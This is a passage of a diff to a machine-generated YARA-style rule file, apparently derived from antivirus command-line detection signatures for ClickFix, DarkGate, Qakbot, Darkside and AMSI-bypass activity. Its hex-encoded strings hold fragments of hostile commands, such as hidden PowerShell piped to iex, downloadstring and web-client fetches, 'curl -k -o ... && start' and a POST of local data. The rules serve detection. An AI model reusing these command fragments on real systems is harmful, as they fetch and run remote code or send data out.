34 00 5b 00 73 00 63 00 72 00 69 00 70 00 74 00 62 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a 00 43 00 72 00 65 00 61 00 74 00 65 00 } //21283 + $a_00_1 = {69 00 72 00 6d 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 00 00 d7 7c 00 00 03 00 03 00 } //40 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*40) >=2 + +} +rule _InfrastructureShared_27715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " @@ -343311,7 +362521,7 @@ rule _InfrastructureShared_26237{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*99) >=3 } -rule _InfrastructureShared_26238{ +rule _InfrastructureShared_27716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " @@ -343319,25 +362529,57 @@ rule _InfrastructureShared_26238{ $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 72 6b 47 61 74 65 43 6d 64 2e 45 54 00 01 00 0e 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 01 00 08 00 63 00 75 00 72 00 6c 00 01 00 16 00 41 00 75 00 74 00 6f } //21539 $a_00_2 = {65 00 78 00 65 00 01 00 0a 00 68 00 74 00 74 00 70 00 3a 00 01 00 08 00 2e 00 61 00 75 00 33 00 00 00 d7 7c 00 00 09 00 09 00 05 00 21 23 } //51 $a_3a_3 = {75 73 70 41 44 52 65 63 6f 6e 2e 41 21 69 62 74 00 03 00 0e 80 01 5b 61 64 73 69 73 65 61 72 63 68 65 72 5d 03 00 0b 80 01 2e 73 65 61 72 63 68 72 6f 6f 74 02 00 07 80 01 6c 64 61 70 3a 2f 2f 01 00 11 80 01 64 69 73 74 69 6e 67 } //17748 - $a_68_4 = {64 6e 61 6d 65 01 00 12 80 01 67 65 74 63 75 72 72 65 6e 74 64 6f 6d 61 69 6e 28 29 00 00 d7 7d 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 50 6f 77 65 72 53 68 65 6c 6c 43 6d 64 2e 42 00 01 00 0e 80 01 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 01 00 06 80 01 62 79 70 61 73 73 01 00 10 80 01 54 } //26997 + $a_68_4 = {64 6e 61 6d 65 01 00 12 80 01 67 65 74 63 75 72 72 65 6e 74 64 6f 6d 61 69 6e 28 29 00 00 d7 7c 00 00 64 00 64 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 42 45 21 4d 54 42 00 64 00 21 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 4c 00 4c 00 20 00 2d 00 77 00 90 02 0f 4d 00 90 00 64 00 } //26997 condition: ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*51+(#a_3a_3 & 1)*17748+(#a_68_4 & 1)*26997) >=5 } -rule _InfrastructureShared_26239{ +rule _InfrastructureShared_27717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,09 00 09 00 05 00 21 " strings : $a_4c_0 = {53 75 73 70 41 44 52 65 63 6f 6e 2e 41 21 69 62 74 00 03 00 0e 80 01 5b 61 64 73 69 73 65 61 72 63 68 65 72 5d 03 00 0b 80 01 2e 73 65 61 72 63 68 72 6f 6f 74 02 00 07 80 01 6c 64 61 70 3a 2f 2f 01 00 11 80 } //21539 - $a_73_1 = {69 6e 67 75 69 73 68 65 64 6e 61 6d 65 01 00 12 80 01 67 65 74 63 75 72 72 65 6e 74 64 6f 6d 61 69 6e 28 29 00 00 d7 7d 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 50 6f 77 65 72 53 68 65 6c 6c 43 6d 64 2e 42 00 01 00 0e 80 01 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 } //25601 - $a_79_3 = {61 73 73 01 00 10 80 01 54 72 75 73 74 65 64 49 6e 73 74 61 6c 6c 65 72 01 00 16 80 01 2d 53 74 61 72 74 75 70 54 79 70 65 20 41 75 74 6f 6d 61 74 69 63 00 00 d7 7d 00 00 0a 00 0a 00 01 00 21 23 53 4c 46 3a 44 6f 53 3a 57 69 6e 33 32 2f 57 61 6c 6e 75 74 57 69 70 65 2e 41 21 64 68 61 00 0a 00 } //384 - $a_00_4 = {43 00 20 00 63 00 68 00 6f 00 69 00 63 00 65 00 20 00 2f 00 43 00 20 00 59 00 20 00 2f 00 4e 00 20 00 2f 00 44 00 20 00 59 00 20 00 2f 00 54 } //336 + $a_73_1 = {69 6e 67 75 69 73 68 65 64 6e 61 6d 65 01 00 12 80 01 67 65 74 63 75 72 72 65 6e 74 64 6f 6d 61 69 6e 28 29 00 00 d7 7c 00 00 64 00 64 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 42 45 21 4d 54 42 00 64 00 21 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 4c } //25601 + $a_00_3 = {90 02 0f 4d 00 90 00 64 00 27 02 50 00 6f 00 57 00 65 00 52 00 73 00 48 00 65 00 4c 00 6c 00 20 00 2d 00 77 00 90 02 0f 2d 00 63 00 20 00 63 00 90 00 00 00 d7 7d 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 56 21 4d 54 42 00 01 00 1e 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 3b } //45 condition: - ((#a_4c_0 & 1)*21539+(#a_73_1 & 1)*25601+(#a_79_3 & 1)*384+(#a_00_4 & 1)*336) >=9 + ((#a_4c_0 & 1)*21539+(#a_73_1 & 1)*25601+(#a_00_3 & 1)*45) >=9 } -rule _InfrastructureShared_26240{ +rule _InfrastructureShared_27718{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,64 00 64 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 42 45 21 4d 54 42 00 64 00 21 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 4c 00 4c 00 20 00 2d 00 77 00 90 02 0f 4d 00 90 00 64 00 27 02 50 00 6f 00 57 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=100 + +} +rule _InfrastructureShared_27719{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 56 21 4d 54 42 00 01 00 1e 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 3b 00 20 00 69 00 65 00 78 00 20 00 24 00 01 00 1b 02 70 00 6f 00 77 00 65 00 } //21283 + $a_00_1 = {68 00 65 00 6c 00 6c 00 90 02 50 24 00 90 00 01 00 0c 00 68 00 69 00 64 00 64 00 65 00 6e 00 00 00 d7 7d 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 45 45 42 21 4d 54 42 00 01 00 1b 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 50 24 00 90 00 01 00 0a 00 66 } //114 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*114) >=3 + +} +rule _InfrastructureShared_27720{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 45 45 42 21 4d 54 42 00 01 00 1b 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 50 24 00 90 00 01 00 0a 00 66 00 6f 00 72 00 28 00 24 00 01 } //21283 + $a_00_2 = {64 00 65 00 6e 00 01 00 10 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 00 00 d7 7d 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 50 6f 77 65 72 53 68 65 6c 6c 43 6d 64 2e 42 00 01 00 0e 80 01 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 01 00 06 80 } //105 + $a_70_3 = {73 73 01 00 10 80 01 54 72 75 73 74 65 64 49 6e 73 74 61 6c 6c 65 72 01 00 16 80 01 2d 53 74 61 72 74 75 70 54 79 70 65 20 41 75 74 6f 6d 61 74 69 63 00 00 d7 7d 00 00 0a 00 0a 00 01 00 21 23 53 4c 46 3a 44 6f 53 3a 57 69 6e 33 32 2f 57 61 6c 6e 75 74 57 69 70 65 2e 41 21 64 68 61 00 0a 00 50 01 2f 00 43 00 20 00 63 00 68 00 6f 00 69 00 63 00 65 00 20 00 2f 00 } //25089 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*105+(#a_70_3 & 1)*25089) >=4 + +} +rule _InfrastructureShared_27721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " @@ -343349,7 +362591,7 @@ rule _InfrastructureShared_26240{ ((#a_46_0 & 1)*21283+(#a_61_1 & 1)*29550+(#a_00_3 & 1)*89) >=4 } -rule _InfrastructureShared_26241{ +rule _InfrastructureShared_27722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -343359,7 +362601,17 @@ rule _InfrastructureShared_26241{ ((#a_46_0 & 1)*21283) >=10 } -rule _InfrastructureShared_26242{ +rule _InfrastructureShared_27723{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 5a 4d 21 4d 54 42 00 01 00 4e 00 4a 00 6f 00 69 00 6e 00 2d 00 50 00 61 00 74 00 68 00 20 00 28 00 5b 00 45 00 6e 00 76 00 69 00 72 00 6f 00 6e 00 6d 00 65 00 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_27724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -343369,7 +362621,32 @@ rule _InfrastructureShared_26242{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_26243{ +rule _InfrastructureShared_27725{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 73 69 42 79 70 61 7a 7a 2e 47 47 42 21 4d 54 42 00 01 00 1a 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 5b 00 69 00 6e 00 74 00 5d 00 24 00 01 00 0e 00 2d 00 62 00 78 00 6f 00 72 00 } //21283 + $a_00_1 = {01 00 0a 00 2d 00 6a 00 6f 00 69 00 6e 00 01 00 0e 00 2e 00 53 00 70 00 6c 00 69 00 74 00 28 00 00 00 d7 7e } //32 + $a_00_2 = {04 00 04 00 } //0 + $a_4c_3 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 47 21 4d 54 42 00 01 00 1a 00 26 00 26 00 20 00 63 00 75 00 72 00 6c 00 20 00 2d 00 6b 00 20 00 2d 00 6f 00 01 00 12 00 26 00 26 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 } //8993 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*32+(#a_00_2 & 1)*0+(#a_4c_3 & 1)*8993) >=4 + +} +rule _InfrastructureShared_27726{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 47 21 4d 54 42 00 01 00 1a 00 26 00 26 00 20 00 63 00 75 00 72 00 6c 00 20 00 2d 00 6b 00 20 00 2d 00 6f 00 01 00 12 00 26 00 26 00 20 00 73 00 74 00 61 00 } //21283 + $a_00_1 = {20 00 01 00 0e 00 26 00 26 00 20 00 65 00 63 00 68 00 6f 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 7e 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 57 69 6e 33 32 2f 54 72 69 63 6b 62 6f 74 2e 4a 41 21 69 62 74 00 01 00 10 00 6e 00 73 00 6c 00 6f 00 6f 00 6b 00 75 00 70 00 01 00 1e 00 2d 00 71 00 3d 00 73 00 72 00 76 00 5f 00 6b 00 65 00 72 00 } //114 + $a_00_2 = {72 00 6f 00 73 00 01 00 08 00 5f 00 74 00 63 00 70 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 00 00 d7 7e 00 00 32 00 32 00 05 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 44 61 72 6b 73 69 64 65 2e 48 00 0a 00 0c 00 5b 00 63 00 68 00 61 00 72 00 5d 00 0a } //98 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*114+(#a_00_2 & 1)*98) >=4 + +} +rule _InfrastructureShared_27727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " @@ -343380,20 +362657,31 @@ rule _InfrastructureShared_26243{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*115) >=4 } -rule _InfrastructureShared_26244{ +rule _InfrastructureShared_27728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,32 00 32 00 05 00 21 " strings : $a_4c_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 44 61 72 6b 73 69 64 65 2e 48 00 0a 00 0c 00 5b 00 63 00 68 00 61 00 72 00 5d 00 0a 00 0c 00 5b 00 62 00 79 00 74 00 65 00 5d 00 0a 00 12 00 73 00 75 00 62 00 73 00 74 } //21539 - $a_00_2 = {0a 00 06 00 69 00 65 00 78 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 00 00 d7 7f 00 00 0b 00 0b 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 61 6b 62 6f 74 43 6f 6d 6d 61 6e 64 4c 69 6e 65 2e 43 00 01 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 } //110 - $a_00_3 = {0a 00 2c 00 6e 00 31 00 31 00 } //50 - $a_00_4 = {0c 00 2c 00 20 00 6e 00 31 00 } //53 + $a_00_2 = {0a 00 06 00 69 00 65 00 78 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 00 00 d7 7e 00 00 82 00 82 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 45 49 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c } //110 condition: - ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*110+(#a_00_3 & 1)*50+(#a_00_4 & 1)*53) >=50 + ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*110) >=50 } -rule _InfrastructureShared_26245{ +rule _InfrastructureShared_27729{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 45 49 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 0e 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 0a 00 0c 00 } //21283 + $a_00_1 = {7d 00 7c 00 76 00 3d 00 0a 00 14 00 2e 00 53 00 65 00 6e 00 64 00 4b 00 65 00 79 00 73 00 28 00 00 00 d7 7f 00 00 0b 00 0b 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 } //62 + $a_6b_2 = {6f 74 43 6f 6d 6d 61 6e 64 4c 69 6e 65 2e 43 00 01 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 0a 00 0a 00 2c 00 6e 00 31 00 31 00 35 00 0a 00 0c 00 2c 00 20 00 6e 00 31 00 31 00 35 00 0a 00 0a 00 2c 00 77 00 77 00 35 00 30 00 0a 00 0c 00 2c 00 20 00 77 00 77 00 35 00 30 00 00 } //20783 + $a_00_3 = {00 0f 00 0f 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 42 53 41 21 4d 54 42 00 02 00 16 00 65 00 6e 00 76 00 3a 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 01 00 08 00 63 00 75 00 72 00 6c 00 0a 00 17 02 2e 00 63 00 6f 00 6d 00 2f 00 90 02 10 2e 00 6d 00 73 00 69 00 90 00 02 00 0e 00 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 00 } //-10496 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*62+(#a_6b_2 & 1)*20783+(#a_00_3 & 1)*-10496) >=130 + +} +rule _InfrastructureShared_27730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 05 00 21 " @@ -343401,22 +362689,93 @@ rule _InfrastructureShared_26245{ $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 61 6b 62 6f 74 43 6f 6d 6d 61 6e 64 4c 69 6e 65 2e 43 00 01 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 0a 00 0a 00 2c 00 6e 00 31 00 31 00 35 00 0a 00 0c 00 2c 00 20 00 6e } //21283 $a_00_2 = {0a 00 2c 00 77 00 77 00 35 00 } //53 $a_00_3 = {0c 00 2c 00 20 00 77 00 77 00 } //48 - $a_00_4 = {00 00 d7 80 00 00 14 00 14 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 63 61 63 6c 73 44 72 69 76 65 2e 42 21 69 62 74 } //53 + $a_00_4 = {00 00 d7 7f 00 00 0f 00 0f 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 42 53 41 21 4d 54 42 00 } //53 condition: ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*53+(#a_00_3 & 1)*48+(#a_00_4 & 1)*53) >=11 } -rule _InfrastructureShared_26246{ +rule _InfrastructureShared_27731{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 01 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0f 00 0f 00 04 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 63 61 63 6c 73 44 72 69 76 65 2e 42 21 69 62 74 00 14 00 4f 02 26 00 20 00 69 00 63 00 61 00 63 00 6c 00 73 00 90 02 60 2e 00 62 00 69 00 6e 00 20 00 2f 00 67 00 72 00 61 00 6e 00 74 00 } //21283 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 42 53 41 21 4d 54 42 00 02 00 16 00 65 00 6e 00 76 00 3a 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 01 00 08 00 63 00 75 00 72 00 6c 00 0a 00 17 02 2e 00 63 00 } //21283 + $a_00_1 = {2f 00 90 02 10 2e 00 6d 00 73 00 69 00 90 00 02 00 0e 00 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 00 00 d7 7f 00 00 33 00 33 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c 6c 44 6c 72 2e 48 42 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 37 02 } //111 + $a_00_2 = {79 00 70 00 65 00 5d 00 28 00 20 00 7b 00 90 22 01 03 30 2d 39 7d 00 7b 00 90 22 01 03 30 2d 39 7d 00 90 23 18 05 30 2d 39 7b 7d 2d 00 66 00 27 00 90 00 00 00 d7 80 00 00 01 00 01 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 43 21 4d 54 42 00 01 00 24 02 69 00 77 00 72 00 20 00 90 02 06 2e 00 } //91 + $a_2e_3 = {90 02 06 2e 00 90 } //656 condition: - ((#a_46_0 & 1)*21283) >=20 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*111+(#a_00_2 & 1)*91+(#a_2e_3 & 1)*656) >=15 } -rule _InfrastructureShared_26247{ +rule _InfrastructureShared_27732{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,33 00 33 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c 6c 44 6c 72 2e 48 42 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 37 02 5b 00 74 00 79 00 70 00 65 00 5d 00 28 00 20 00 7b 00 } //21283 + $a_03_1 = {30 } //8848 0 + condition: + ((#a_46_0 & 1)*21283+(#a_03_1 & 1)*8848) >=51 + +} +rule _InfrastructureShared_27733{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 43 21 4d 54 42 00 01 00 24 02 69 00 77 00 72 00 20 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 7c 00 69 00 65 00 78 00 90 00 9c ff 12 00 6c 00 } //21283 + $a_00_1 = {61 00 6c 00 68 00 6f 00 73 00 74 00 9c ff 12 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 00 00 d7 80 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 41 21 4d 54 42 00 01 00 08 00 69 00 77 00 72 00 20 00 01 00 44 02 68 } //111 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*111) >=1 + +} +rule _InfrastructureShared_27734{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 41 21 4d 54 42 00 01 00 08 00 69 00 77 00 72 00 20 00 01 00 44 02 68 00 74 00 74 00 70 00 90 02 0a 2e 00 90 02 06 2e 00 90 02 06 2e 00 90 02 3c 2d 00 6d 00 } //21283 + $a_00_1 = {68 00 6f 00 64 00 20 00 70 00 6f 00 73 00 74 00 20 00 2d 00 62 00 6f 00 64 00 79 00 20 00 40 00 90 00 00 00 d7 80 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 42 42 48 21 4d 54 42 00 01 00 24 00 7c 00 46 00 6f 00 72 00 45 00 61 00 63 00 68 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 } //101 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101) >=2 + +} +rule _InfrastructureShared_27735{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 42 42 48 21 4d 54 42 00 01 00 24 00 7c 00 46 00 6f 00 72 00 45 00 61 00 63 00 68 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 7b 00 24 00 5f 00 01 00 18 00 5d 00 } //21283 + $a_00_1 = {6f 00 69 00 6e 00 20 00 27 00 27 00 29 00 3b 00 24 00 01 00 0c 00 68 00 69 00 64 00 64 00 65 00 6e 00 00 00 d7 80 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 4c 43 21 4d 54 42 00 01 00 18 00 63 00 68 00 61 00 72 00 5d 00 28 00 5b 00 69 00 6e 00 74 00 } //45 + $a_00_2 = {01 00 28 00 5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 52 00 61 00 6e 00 64 00 6f 00 6d 00 5d 00 3a 00 } //93 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*45+(#a_00_2 & 1)*93) >=3 + +} +rule _InfrastructureShared_27736{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 4c 43 21 4d 54 42 00 01 00 18 00 63 00 68 00 61 00 72 00 5d 00 28 00 5b 00 69 00 6e 00 74 00 5d 00 24 00 01 00 28 00 5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 } //21283 + $a_00_1 = {61 00 6e 00 64 00 6f 00 6d 00 5d 00 3a 00 3a 00 6e 00 65 00 77 00 01 00 08 00 6a 00 6f 00 69 00 6e 00 00 00 d7 80 00 00 66 00 66 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 53 50 21 4d 54 42 00 64 00 } //46 + $a_00_2 = {70 00 66 00 78 00 27 00 29 00 7c 00 69 00 65 00 78 00 01 00 1c 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 } //20 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*46+(#a_00_2 & 1)*20) >=3 + +} +rule _InfrastructureShared_27737{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,66 00 66 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 53 50 21 4d 54 42 00 64 00 14 00 2e 00 70 00 66 00 78 00 27 00 29 00 7c 00 69 00 65 00 78 00 01 00 1c 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 } //21283 + $a_00_1 = {6e 00 67 00 01 00 1a 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 00 00 d7 81 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 53 63 72 69 70 74 2f 43 6f 73 6d 69 63 50 75 6c 73 65 2e 42 21 64 68 61 00 01 00 4f 02 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 75 00 74 } //114 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*114) >=102 + +} +rule _InfrastructureShared_27738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -343426,7 +362785,7 @@ rule _InfrastructureShared_26247{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26248{ +rule _InfrastructureShared_27739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 21 " @@ -343437,66 +362796,130 @@ rule _InfrastructureShared_26248{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*103) >=2 } -rule _InfrastructureShared_26249{ +rule _InfrastructureShared_27740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_4c_0 = {4b 6f 61 64 69 63 2e 41 21 61 74 74 6b 00 01 00 2b 02 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 90 02 0f 6a 00 61 00 76 00 61 00 73 00 63 00 72 00 69 00 70 00 74 00 3a 00 90 00 01 00 24 00 52 00 75 00 } //21539 $a_00_1 = {54 00 4d 00 4c 00 41 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 